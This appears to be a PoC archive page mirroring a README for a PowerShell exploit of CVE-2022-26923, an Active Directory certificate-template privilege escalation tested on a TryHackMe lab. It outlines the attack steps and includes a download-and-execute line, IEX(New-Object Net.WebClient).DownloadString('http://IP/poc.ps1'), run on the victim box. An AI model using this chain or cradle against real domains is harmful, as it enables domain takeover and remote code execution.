Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-26923 PoC — Active Directory Domain Services Elevation of Privilege Vulnerability

Source
Associated Vulnerability
Title:Active Directory Domain Services Elevation of Privilege Vulnerability (CVE-2022-26923)
Description:Active Directory Domain Services Elevation of Privilege Vulnerability
Description
A powershell poc to load and automatically run Certify and Rubeus from memory.
Readme
# CVE-2022-26923-Powershell-POC
A powershell poc to load and automatically run Certify and Rubeus from memory.

# How it works?
1. Loads Certify.exe and Rubeus.exe in memory.
2. Scans the target machine for misconfigured certificate templates. (more on https://www.youtube.com/watch?v=HBRCI5O35R8)
3. Request a certificate for the Administrative user, based on the vulnerable template.
4. Sends the certificate to the certificate handler, it translates it to .pfx format and sends it back to the client.
5. Utilizing Rubeus to load the certificate and generate a ticket for the Administrative user.
6. Changes the password of the Administrative user. (Just for the demo)

The POC is tested on the following TryHackMe Labs: https://tryhackme.com/room/adcertificatetemplates

This CVE is used for privilege escalation, so no initial exploitation is covered on this demo, nor the THM Lab.

Steps:
1. python3 -m http.server 80 [Attacker Box]
2. python3 uploader.py 8000 [Attacker Box]
3. IEX(New-Object Net.WebClient).DownloadString('http://IP/poc.ps1') [Victim Box]

Note: This POC is for educational purpose, you are responsible for your own actions.
File Snapshot

[4.0K] /data/pocs/adb5c92c3b5685529e32231207081f57ae618224 ├── [803K] poc.ps1 ├── [1.1K] README.md └── [2.0K] uploader.py 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →